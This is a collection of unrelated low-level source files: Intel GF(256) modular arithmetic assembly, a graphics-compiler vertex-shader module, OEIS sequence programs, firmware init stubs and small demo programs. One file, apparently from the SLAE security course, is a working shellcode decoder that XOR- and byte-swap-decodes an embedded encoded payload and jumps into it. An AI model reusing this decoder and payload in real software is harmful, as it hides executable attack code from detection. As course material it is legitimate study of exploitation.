%r11, %r10 shrd $(1), %rsi, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) mov %rdi, %rax vzeroupper pop %r14 pop %r13 pop %r12 ret .Lfe4: .size k0_gf256_div2, .Lfe4-(k0_gf256_div2) .p2align 6, 0x90 .globl k0_gf256_mulm .type k0_gf256_mulm, @function k0_gf256_mulm: push %rbx push %rbp push %r12 push %r13 push %r14 push %r15 sub $(24), %rsp movq %rdi, (%rsp) mov %rdx, %rbx mov %rcx, %rdi movq %r8, (8)(%rsp) movq (%rbx), %r14 movq (8)(%rsp), %r15 movq (%rsi), %rax mul %r14 mov %rax, %r8 mov %rdx, %r9 imul %r8, %r15 movq (8)(%rsi), %rax mul %r14 add %rax, %r9 adc $(0), %rdx mov %rdx, %r10 movq (16)(%rsi), %rax mul %r14 add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (24)(%rsi), %rax mul %r14 add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 xor %r13, %r13 movq (%rdi), %rax mul %r15 add %rax, %r8 adc $(0), %rdx mov %rdx, %r8 movq (8)(%rdi), %rax mul %r15 add %r8, %r9 adc $(0), %rdx add %rax, %r9 adc $(0), %rdx mov %rdx, %r8 movq (16)(%rdi), %rax mul %r15 add %r8, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %r8 movq (24)(%rdi), %rax mul %r15 add %r8, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx add %rdx, %r12 adc $(0), %r13 xor %r8, %r8 movq (8)(%rbx), %r14 movq (8)(%rsp), %r15 movq (%rsi), %rax mul %r14 add %rax, %r9 adc $(0), %rdx mov %rdx, %rcx imul %r9, %r15 movq (8)(%rsi), %rax mul %r14 add %rcx, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rsi), %rax mul %r14 add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rsi), %rax mul %r14 add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc %rdx, %r13 adc $(0), %r8 movq (%rdi), %rax mul %r15 add %rax, %r9 adc $(0), %rdx mov %rdx, %r9 movq (8)(%rdi), %rax mul %r15 add %r9, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %r9 movq (16)(%rdi), %rax mul %r15 add %r9, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %r9 movq (24)(%rdi), %rax mul %r15 add %r9, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx add %rdx, %r13 adc $(0), %r8 xor %r9, %r9 movq (16)(%rbx), %r14 movq (8)(%rsp), %r15 movq (%rsi), %rax mul %r14 add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx imul %r10, %r15 movq (8)(%rsi), %rax mul %r14 add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rsi), %rax mul %r14 add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rsi), %rax mul %r14 add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc %rdx, %r8 adc $(0), %r9 movq (%rdi), %rax mul %r15 add %rax, %r10 adc $(0), %rdx mov %rdx, %r10 movq (8)(%rdi), %rax mul %r15 add %r10, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %r10 movq (16)(%rdi), %rax mul %r15 add %r10, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r10 movq (24)(%rdi), %rax mul %r15 add %r10, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx add %rdx, %r8 adc $(0), %r9 xor %r10, %r10 movq (24)(%rbx), %r14 movq (8)(%rsp), %r15 movq (%rsi), %rax mul %r14 add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx imul %r11, %r15 movq (8)(%rsi), %rax mul %r14 add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rsi), %rax mul %r14 add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rsi), %rax mul %r14 add %rcx, %r8 adc $(0), %rdx add %rax, %r8 adc %rdx, %r9 adc $(0), %r10 movq (%rdi), %rax mul %r15 add %rax, %r11 adc $(0), %rdx mov %rdx, %r11 movq (8)(%rdi), %rax mul %r15 add %r11, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r11 movq (16)(%rdi), %rax mul %r15 add %r11, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %r11 movq (24)(%rdi), %rax mul %r15 add %r11, %r8 adc $(0), %rdx add %rax, %r8 adc $(0), %rdx add %rdx, %r9 adc $(0), %r10 xor %r11, %r11 movq (%rsp), %rsi mov %r12, %rax mov %r13, %rbx mov %r8, %rcx mov %r9, %rdx subq (%rdi), %rax sbbq (8)(%rdi), %rbx sbbq (16)(%rdi), %rcx sbbq (24)(%rdi), %rdx sbb $(0), %r10 cmovnc %rax, %r12 cmovnc %rbx, %r13 cmovnc %rcx, %r8 cmovnc %rdx, %r9 movq %r12, (%rsi) movq %r13, (8)(%rsi) movq %r8, (16)(%rsi) movq %r9, (24)(%rsi) mov %rsi, %rax add $(24), %rsp vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret .Lfe5: .size k0_gf256_mulm, .Lfe5-(k0_gf256_mulm) .p2align 6, 0x90 .globl k0_gf256_sqrm .type k0_gf256_sqrm, @function k0_gf256_sqrm: push %rbx push %rbp push %r12 push %r13 push %r14 push %r15 sub $(24), %rsp movq %rdi, (%rsp) mov %rdx, %rdi movq %rcx, (8)(%rsp) movq (%rsi), %rbx movq (8)(%rsi), %rax mul %rbx mov %rax, %r9 mov %rdx, %r10 movq (16)(%rsi), %rax mul %rbx add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (24)(%rsi), %rax mul %rbx add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 movq (8)(%rsi), %rbx movq (16)(%rsi), %rax mul %rbx add %rax, %r11 adc $(0), %rdx mov %rdx, %rbp movq (24)(%rsi), %rax mul %rbx add %rax, %r12 adc $(0), %rdx add %rbp, %r12 adc $(0), %rdx mov %rdx, %r13 movq (16)(%rsi), %rbx movq (24)(%rsi), %rax mul %rbx add %rax, %r13 adc $(0), %rdx mov %rdx, %r14 xor %r15, %r15 shld $(1), %r14, %r15 shld $(1), %r13, %r14 shld $(1), %r12, %r13 shld $(1), %r11, %r12 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shl $(1), %r9 movq (%rsi), %rax mul %rax mov %rax, %r8 add %rdx, %r9 adc $(0), %r10 movq (8)(%rsi), %rax mul %rax add %rax, %r10 adc %rdx, %r11 adc $(0), %r12 movq (16)(%rsi), %rax mul %rax add %rax, %r12 adc %rdx, %r13 adc $(0), %r14 movq (24)(%rsi), %rax mul %rax add %rax, %r14 adc %rdx, %r15 movq (8)(%rsp), %rcx imul %r8, %rcx movq (%rdi), %rax mul %rcx add %rax, %r8 adc $(0), %rdx mov %rdx, %r8 movq (8)(%rdi), %rax mul %rcx add %r8, %r9 adc $(0), %rdx add %rax, %r9 adc $(0), %rdx mov %rdx, %r8 movq (16)(%rdi), %rax mul %rcx add %r8, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %r8 movq (24)(%rdi), %rax mul %rcx add %r8, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx add %rdx, %r12 adc $(0), %r13 xor %r8, %r8 movq (8)(%rsp), %rcx imul %r9, %rcx movq (%rdi), %rax mul %rcx add %rax, %r9 adc $(0), %rdx mov %rdx, %r9 movq (8)(%rdi), %rax mul %rcx add %r9, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %r9 movq (16)(%rdi), %rax mul %rcx add %r9, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %r9 movq (24)(%rdi), %rax mul %rcx add %r9, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx add %rdx, %r13 adc $(0), %r14 xor %r9, %r9 movq (8)(%rsp), %rcx imul %r10, %rcx movq (%rdi), %rax mul %rcx add %rax, %r10 adc $(0), %rdx mov %rdx, %r10 movq (8)(%rdi), %rax mul %rcx add %r10, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %r10 movq (16)(%rdi), %rax mul %rcx add %r10, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r10 movq (24)(%rdi), %rax mul %rcx add %r10, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx add %rdx, %r14 adc $(0), %r15 xor %r10, %r10 movq (8)(%rsp), %rcx imul %r11, %rcx movq (%rdi), %rax mul %rcx add %rax, %r11 adc $(0), %rdx mov %rdx, %r11 movq (8)(%rdi), %rax mul %rcx add %r11, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r11 movq (16)(%rdi), %rax mul %rcx add %r11, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %r11 movq (24)(%rdi), %rax mul %rcx add %r11, %r14 adc $(0), %rdx add %rax, %r14 adc $(0), %rdx add %rdx, %r15 adc $(0), %r8 xor %r11, %r11 movq (%rsp), %rsi mov %r12, %rax mov %r13, %rbx mov %r14, %rcx mov %r15, %rdx subq (%rdi), %rax sbbq (8)(%rdi), %rbx sbbq (16)(%rdi), %rcx sbbq (24)(%rdi), %rdx sbb $(0), %r8 cmovnc %rax, %r12 cmovnc %rbx, %r13 cmovnc %rcx, %r14 cmovnc %rdx, %r15 movq %r12, (%rsi) movq %r13, (8)(%rsi) movq %r14, (16)(%rsi) movq %r15, (24)(%rsi) mov %rsi, %rax add $(24), %rsp vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx ret .Lfe6: .size k0_gf256_sqrm, .Lfe6-(k0_gf256_sqrm)
/*===================== begin_copyright_notice ================================== Copyright (c) 2017 Intel Corporation Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ======================= end_copyright_notice ==================================*/ #include "Compiler/CISACodeGen/VertexShaderCodeGen.hpp" #include "Compiler/CISACodeGen/messageEncoding.hpp" #include "Compiler/CISACodeGen/EmitVISAPass.hpp" #include "common/debug/Debug.hpp" #include "common/debug/Dump.hpp" #include "common/secure_mem.h" #include "common/LLVMWarningsPush.hpp" #include <llvm/IR/IRBuilder.h> #include "common/LLVMWarningsPop.hpp" #include <iStdLib/utility.h> #include "Probe/Assertion.h" /*********************************************************************************** This file contains the code specific to vertex shader ************************************************************************************/ #define UseRawSendForURB 0 using namespace llvm; namespace IGC { OctEltUnit CVertexShader::GetURBHeaderSize() const { if (GetContext()->getModuleMetaData()->URBInfo.hasVertexHeader) { OctEltUnit headerSize = m_properties.m_hasClipDistance ? OctEltUnit(2) : OctEltUnit(1); return headerSize; } else { return OctEltUnit(0); } } void CVertexShader::AllocatePayload() { uint offset = 0; //R0 and R1 are always allocated //R0 is always allocated as a predefined variable. Increase offset for R0 IGC_ASSERT(m_R0); offset += getGRFSize(); IGC_ASSERT(m_R1); AllocateInput(m_R1, offset); offset += getGRFSize(); IGC_ASSERT(getGRFSize()); IGC_ASSERT(offset % getGRFSize() == 0); ProgramOutput()->m_startReg = offset / getGRFSize(); // allocate space for NOS constants and pushed constants AllocateConstants3DShader(offset); IGC_ASSERT(offset % getGRFSize() == 0); // TODO: handle packed vertex attribute even if we pull bool packedInput = m_Platform->hasPackedVertexAttr() && !isInputsPulled // WA: Gen11+ HW has problems with doubles on vertex shader input, if the input has unused components // and ElementComponentEnableMask is not full == packing occurs // right now only OGL is affected, so there is special disableVertexComponentPacking flag set by GLSL FE // if there is double on input to vertex shader && !m_ModuleMetadata->compOpt.disableVertexComponentPacking ; m_ElementComponentPackingEnabled = packedInput; if (!packedInput) { for (uint i = 0; i < MAX_VSHADER_INPUT_REGISTERS_PACKAGEABLE; i++) { m_ElementComponentEnableMask[i] = 0xF; } } for (uint i = 0; i < setup.size(); i++) { if (setup[i]) { if (packedInput) { PackVFInput(i, offset); } AllocateInput(setup[i], offset); } if (m_ElementComponentEnableMask[i / 4] & BIT(i % 4)) { offset += getGRFSize(); } } } void CVertexShader::PackVFInput(unsigned int index, unsigned int& offset) { bool dontPackPartialElement = m_ModuleMetadata->compOpt.disablePartialVertexComponentPacking || IGC_IS_FLAG_ENABLED(VFPackingDisablePartialElements); if (dontPackPartialElement) { if (m_ElementComponentEnableMask[index / 4] == 0) { // enable the full element and push the offset to consider the elements skipped m_ElementComponentEnableMask[index / 4] = 0xF; offset += (index % 4) * getGRFSize(); } } else { m_ElementComponentEnableMask[index / 4] |= BIT(index % 4); } } CVertexShader::CVertexShader(llvm::Function* pFunc, CShaderProgram* pProgram) : CShader(pFunc, pProgram), m_R1(nullptr), m_ElementComponentPackingEnabled(false) { for (int i = 0; i < MAX_VSHADER_INPUT_REGISTERS_PACKAGEABLE; ++i) { m_ElementComponentEnableMask[i] = 0; } } CVertexShader::~CVertexShader() { } void CShaderProgram::FillProgram(SVertexShaderKernelProgram* pKernelProgram) { CVertexShader* pShader = static_cast<CVertexShader*>(GetShader(m_context->platform.getMinDispatchMode())); pShader->FillProgram(pKernelProgram); } void CVertexShader::FillProgram(SVertexShaderKernelProgram* pKernelProgram) { IGC_ASSERT(nullptr != entry); IGC_ASSERT(entry->getParent()); const bool isPositionOnlyShader = (entry->getParent()->getModuleFlag("IGC::PositionOnlyVertexShader") != nullptr); { pKernelProgram->simd8 = *ProgramOutput(); } pKernelProgram->MaxNumInputRegister = GetMaxNumInputRegister(); pKernelProgram->VertexURBEntryReadLength = GetVertexURBEntryReadLength(); pKernelProgram->VertexURBEntryReadOffset = GetVertexURBEntryReadOffset(); pKernelProgram->VertexURBEntryOutputReadLength = GetVertexURBEntryOutputReadLength(); pKernelProgram->VertexURBEntryOutputReadOffset = GetVertexURBEntryOutputReadOffset(); pKernelProgram->SBEURBReadOffset = GetVertexURBEntryOutputReadOffset(); pKernelProgram->URBAllocationSize = GetURBAllocationSize(); pKernelProgram->hasControlFlow = m_numBlocks > 1 ? true : false; pKernelProgram->MaxNumberOfThreads = m_Platform->getMaxVertexShaderThreads(isPositionOnlyShader); pKernelProgram->ConstantBufferLoaded = m_constantBufferLoaded; pKernelProgram->UavLoaded = m_uavLoaded; for (unsigned int i = 0; i < 4; i++) { pKernelProgram->ShaderResourceLoaded[i] = m_shaderResourceLoaded[i]; } pKernelProgram->RenderTargetLoaded = m_renderTargetLoaded; pKernelProgram->hasVertexID = m_properties.m_HasVertexID; pKernelProgram->vertexIdLocation = m_properties.m_VID; pKernelProgram->hasInstanceID = m_properties.m_HasInstanceID; pKernelProgram->instanceIdLocation = m_properties.m_IID; pKernelProgram->vertexFetchSGVExtendedParameters = m_properties.m_VertexFetchSGVExtendedParameters; pKernelProgram->NOSBufferSize = m_NOSBufferSize / getGRFSize(); // in 256 bits pKernelProgram->DeclaresVPAIndex = m_properties.m_hasVPAI; pKernelProgram->DeclaresRTAIndex = m_properties.m_hasRTAI; pKernelProgram->HasClipCullAsOutput = m_properties.m_hasClipDistance; pKernelProgram->isMessageTargetDataCacheDataPort = isMessageTargetDataCacheDataPort; pKernelProgram->singleInstanceVertexShader = ((entry->getParent())->getNamedMetadata("ConstantBufferIndexedWithInstanceId") != nullptr) ? true : false; CreateGatherMap(); CreateConstantBufferOutput(pKernelProgram); pKernelProgram->bindingTableEntryCount = this->GetMaxUsedBindingTableEntryCount(); pKernelProgram->BindingTableEntryBitmap = this->GetBindingTableEntryBitmap(); pKernelProgram->enableElementComponentPacking = m_ElementComponentPackingEnabled; for (int i = 0; i < MAX_VSHADER_INPUT_REGISTERS_PACKAGEABLE; ++i) { pKernelProgram->ElementComponentDeliverMask[i] = m_ElementComponentEnableMask[i]; } // Implement workaround code. We cannot have all component enable masks equal to zero // so we need to enable one dummy component. //WaVFComponentPackingRequiresEnabledComponent is made default behavior //3DSTATE_VF_COMPONENT_PACKING: At least one component of a "valid" //Vertex Element must be enabled. bool anyComponentEnabled = false; for (int i = 0; i < MAX_VSHADER_INPUT_REGISTERS_PACKAGEABLE; ++i) { anyComponentEnabled = anyComponentEnabled || (m_ElementComponentEnableMask[i] != 0); } if (!anyComponentEnabled) { pKernelProgram->ElementComponentDeliverMask[0] = 1; } } void CVertexShader::PreCompile() { CreateImplicitArgs(); m_R1 = GetNewVariable( numLanes(m_Platform->getMinDispatchMode()), ISA_TYPE_D, EALIGN_GRF, "R1"); } void CVertexShader::AddPrologue() { } CVariable* CVertexShader::GetURBOutputHandle() { return m_R1; } CVariable* CVertexShader::GetURBInputHandle(CVariable* pVertexIndex) { return m_R1; } /// Returns VS URB allocation size. /// This is the size of VS URB entry consisting of the header data and attribute data. OctEltUnit CVertexShader::GetURBAllocationSize() const { // max index of the variables in the payload const EltUnit maxSetupVarNum(isInputsPulled ? 132 : setup.size()); const OctEltUnit maxSetupOct = round_up<OctElement>(maxSetupVarNum); // URB allocation size is the maximum of the input and ouput entry size. return std::max(round_up<OctElement>(m_properties.m_URBOutputLength), maxSetupOct); } OctEltUnit CVertexShader::GetVertexURBEntryReadLength() const { // max index of the variables in the payload const EltUnit maxSetupVarNum(setup.size()); // rounded up to 8-element size return round_up<OctElement>(maxSetupVarNum); } OctEltUnit CVertexShader::GetVertexURBEntryReadOffset() const { return OctEltUnit(0); // since we always read in vertex header } OctEltUnit CVertexShader::GetVertexURBEntryOutputReadLength() const { // Since we skip vertex header, the output write length is the // total size of VUE minus the size of VUE header. // Note: for shaders outputing only position, the output write length calculated may be // less than the VUE header size because the header size can be fixed to always // include clip&cull distance. if (round_up<OctElement>(m_properties.m_URBOutputLength) > GetURBHeaderSize()) { return round_up<OctElement>(m_properties.m_URBOutputLength) - GetURBHeaderSize(); } // The minimum valid value for vertex URB entry output length is 1. return OctEltUnit(1); } OctEltUnit CVertexShader::GetVertexURBEntryOutputReadOffset() const { return GetURBHeaderSize(); // we skip the header } QuadEltUnit CVertexShader::GetMaxNumInputRegister() const { // max index of the variables in the payload // if there are any pulled inputs set max num input register to max possible inputs 33 * 4 const EltUnit maxSetupVarNum(isInputsPulled ? 132 : setup.size()); return round_up<QuadElement>(maxSetupVarNum); } void CVertexShader::SetShaderSpecificHelper(EmitPass* emitPass) { m_properties = emitPass->getAnalysisIfAvailable<CollectVertexShaderProperties>()->GetProperties(); } void CVertexShader::AddEpilogue(llvm::ReturnInst* pRet) { bool addDummyURB = true; if (pRet != &(*pRet->getParent()->begin())) { auto intinst = dyn_cast<GenIntrinsicInst>(pRet->getPrevNode()); // if a URBWrite intrinsic is present no need to insert dummy urb write if (intinst && intinst->getIntrinsicID() == GenISAIntrinsic::GenISA_URBWrite) { addDummyURB = false; } } if (addDummyURB) { EOTURBWrite(); } CShader::AddEpilogue(pRet); } } // namespace IGC
; A334694: a(n) = (n/4)*(n^3+2*n^2+5*n+8). ; 0,4,17,51,124,260,489,847,1376,2124,3145,4499,6252,8476,11249,14655,18784,23732,29601,36499,44540,53844,64537,76751,90624,106300,123929,143667,165676,190124,217185,247039,279872,315876,355249,398195,444924,495652,550601,609999,674080,743084,817257,896851,982124,1073340,1170769,1274687,1385376,1503124,1628225,1760979,1901692,2050676,2208249,2374735,2550464,2735772,2931001,3136499,3352620,3579724,3818177,4068351,4330624,4605380,4893009,5193907,5508476,5837124,6180265,6538319,6911712,7300876,7706249,8128275,8567404,9024092,9498801,9991999,10504160,11035764,11587297,12159251,12752124,13366420,14002649,14661327,15342976,16048124,16777305,17531059,18309932,19114476,19945249,20802815,21687744,22600612,23542001,24512499,25512700,26543204,27604617,28697551,29822624,30980460,32171689,33396947,34656876,35952124,37283345,38651199,40056352,41499476,42981249,44502355,46063484,47665332,49308601,50993999,52722240,54494044,56310137,58171251,60078124,62031500,64032129,66080767,68178176,70325124,72522385,74770739,77070972,79423876,81830249,84290895,86806624,89378252,92006601,94692499,97436780,100240284,103103857,106028351,109014624,112063540,115175969,118352787,121594876,124903124,128278425,131721679,135233792,138815676,142468249,146192435,149989164,153859372,157804001,161823999,165920320,170093924,174345777,178676851,183088124,187580580,192155209,196813007,201554976,206382124,211295465,216296019,221384812,226562876,231831249,237190975,242643104,248188692,253828801,259564499,265396860,271326964,277355897,283484751,289714624,296046620,302481849,309021427,315666476,322418124,329277505,336245759,343324032,350513476,357815249,365230515,372760444,380406212,388169001,396049999,404050400,412171404,420414217,428780051,437270124,445885660,454627889,463498047,472497376,481627124,490888545,500282899,509811452,519475476,529276249,539215055,549293184,559511932,569872601,580376499,591024940,601819244,612760737,623850751,635090624,646481700,658025329,669722867,681575676,693585124,705752585,718079439,730567072,743216876,756030249,769008595,782153324,795465852,808947601,822599999,836424480,850422484,864595457,878944851,893472124,908178740,923066169,938135887,953389376,968828124 mov $3,$0 mul $3,$0 mov $1,$3 add $1,$0 mov $2,$1 add $1,$0 div $2,2 pow $2,2 add $1,$2
; A281228: Expansion of (Sum_{k>=0} x^(3^k))^2 [even terms only]. ; 0,1,2,1,0,2,2,0,0,1,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $2,$0 mul $0,3 bin $0,$2 div $0,3 mod $0,3
;; @file ; 16-bit initialization code. ; ; Copyright (c) 2008 - 2016, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED ; ;; BITS 16 ; ; @param[out] DI 'BP' to indicate boot-strap processor ; EarlyBspInitReal16: mov di, 'BP' jmp short Main16 ; ; @param[out] DI 'AP' to indicate application processor ; EarlyApInitReal16: mov di, 'AP' jmp short Main16 ; ; Modified: EAX ; ; @param[in] EAX Initial value of the EAX register (BIST: Built-in Self Test) ; @param[out] ESP Initial value of the EAX register (BIST: Built-in Self Test) ; EarlyInit16: ; ; ESP - Initial value of the EAX register (BIST: Built-in Self Test) ; movd mm0, eax rdtsc movd mm2, eax movd mm3, edx debugInitialize OneTimeCallRet EarlyInit16
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteGdtr.Asm ; ; Abstract: ; ; AsmWriteGdtr function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; InternalX86WriteGdtr ( ; IN CONST IA32_DESCRIPTOR *Idtr ; ); ;------------------------------------------------------------------------------ InternalX86WriteGdtr PROC lgdt fword ptr [rcx] ret InternalX86WriteGdtr ENDP END
db 0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 4,4,4,4,4,4,4,4 db 4,4,4,4,4,4,4,4 db 4,4,4,4,4,4,4,4 db 4,4,4,4,4,4,4,4 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 2,2,2,2,2,2,2,2 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1 db 1,1,1,1,1,1,1,1
; --------------------------------------------------------------------- ; /x86-64/programs/arguments.asm ; ; An x86-64 assembly which writes argc and argv to STDOUT. ; ; Requires: ; write ; --------------------------------------------------------------------- global _start extern write extern write_cstring extern write_integer section .text _start: mov r12, [rsp] ; argc mov rdi, 1 mov rsi, r12 call write_integer mov rdi, 1 mov rsi, lf_ mov rdx, 1 call write xor r13, r13 _start_argv_loop: inc r13 mov rdi, 1 mov rsi, [rsp+8*r13] ; argv[0..] call write_cstring mov rdi, 1 mov rsi, lf_ mov rdx, 1 call write cmp r13, r12 jne _start_argv_loop mov rax, 60 mov rdi, 0 syscall section .data lf_: db 0x0A
.data num1: .word 10,15 newline: .asciiz "\n" .text la $t0, 0 lw $a0, num1($t0) li $v0, 1 syscall la $a0, newline li $v0, 4 syscall li $v0, 1 addiu $t0,$t0, 4 lw $a0,num1($t0) syscall li, $v0, 10 syscall
# SLAE Exam Assignment #4: Shellcode Decoder # Author: Rikih Gunawan global _start: section .text _start: jmp short call_shellcode ; JMP-CALL-POP Method decoder: pop esi ; get address of EncodedShellcode xor ecx, ecx ; ecx = 0 mul ecx ; eax = 0 cdq ; edx = 0; xor edx, edx mov cl, slen ; cl = length of encoded shellcode mov edi, 0xcefaafde ; xor key: deafface decode: mov al, byte [esi] ; al= 1st byte mov ah, byte [esi + 1] ; ah= 2nd byte mov bl, byte [esi + 2] ; bl= 3rd byte mov bh, byte [esi + 3] ; bh= 4th byte xor al, 0x7 ; xor 1st byte xor ah, 0x7 ; xor 2nd byte xor bl, 0x7 ; xor 3rd byte xor bh, 0x7 ; xor 4th byte mov byte [esi], bh ; replace the 1st byte with decoded shellcode byte mov byte [esi + 1], bl ; replace the 2nd byte with decoded shellcode byte mov byte [esi + 2], ah ; replace the 3rd byte with decoded shellcode byte mov byte [esi + 3], al ; replace the 4th byte with decoded shellcode byte xor dword [esi], edi ; xor dword with xor key add esi, 0x4 ; mov to next 4 byte sub ecx, 0x4 ; ecx = length of shellcode - decrease counter by 4 jnz short decode ; loop if ecx not zero jmp short EncodedShellcode ; jmp to esi - decoded shellcode call_shellcode: call decoder ; jmp to decoder label and save the address of EncodedShellcode EncodedShellcode: db 0xa1,0xad,0x68,0xe8,0xa1,0x8e,0x87,0xf6,0xa0,0x9f,0x87,0xb1,0x99,0x1e,0x21,0xb7,0x40,0xae,0x4a,0x50,0x4,0xf6,0x18,0x38,0x59,0x6d,0x38,0x59 slen equ $-EncodedShellcode ; length of the encoded shellcode
; A054896: a(n) = Sum_{k>0} floor(n/7^k). ; 0,0,0,0,0,0,0,1,1,1,1,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,5,6,6,6,6,6,6,6,8,8,8,8,8,8,8,9,9,9,9,9,9,9,10,10,10,10,10,10,10,11,11,11,11,11,11,11,12,12,12,12,12,12,12,13,13,13,13,13,13,13,14,14,14,14,14,14,14,16,16 div $0,7 lpb $0 add $1,$0 div $0,7 lpe mov $0,$1
; A101854: a(n) = n*(n+1)*(n^2+21*n+50)/24. ; 6,24,61,125,225,371,574,846,1200,1650,2211,2899,3731,4725,5900,7276,8874,10716,12825,15225,17941,20999,24426,28250,32500,37206,42399,48111,54375,61225,68696,76824,85646,95200,105525,116661,128649,141531,155350,170150,185976,202874,220891,240075,260475,282141,305124,329476,355250,382500,411281,441649,473661,507375,542850,580146,619324,660446,703575,748775,796111,845649,897456,951600,1008150,1067176,1128749,1192941,1259825,1329475,1401966,1477374,1555776,1637250,1721875,1809731,1900899,1995461,2093500,2195100,2300346,2409324,2522121,2638825,2759525,2884311,3013274,3146506,3284100,3426150,3572751,3723999,3879991,4040825,4206600,4377416,4553374,4734576,4921125,5113125,5310681,5513899,5722886,5937750,6158600,6385546,6618699,6858171,7104075,7356525,7615636,7881524,8154306,8434100,8721025,9015201,9316749,9625791,9942450,10266850,10599116,10939374,11287751,11644375,12009375,12382881,12765024,13155936,13555750,13964600,14382621,14809949,15246721,15693075,16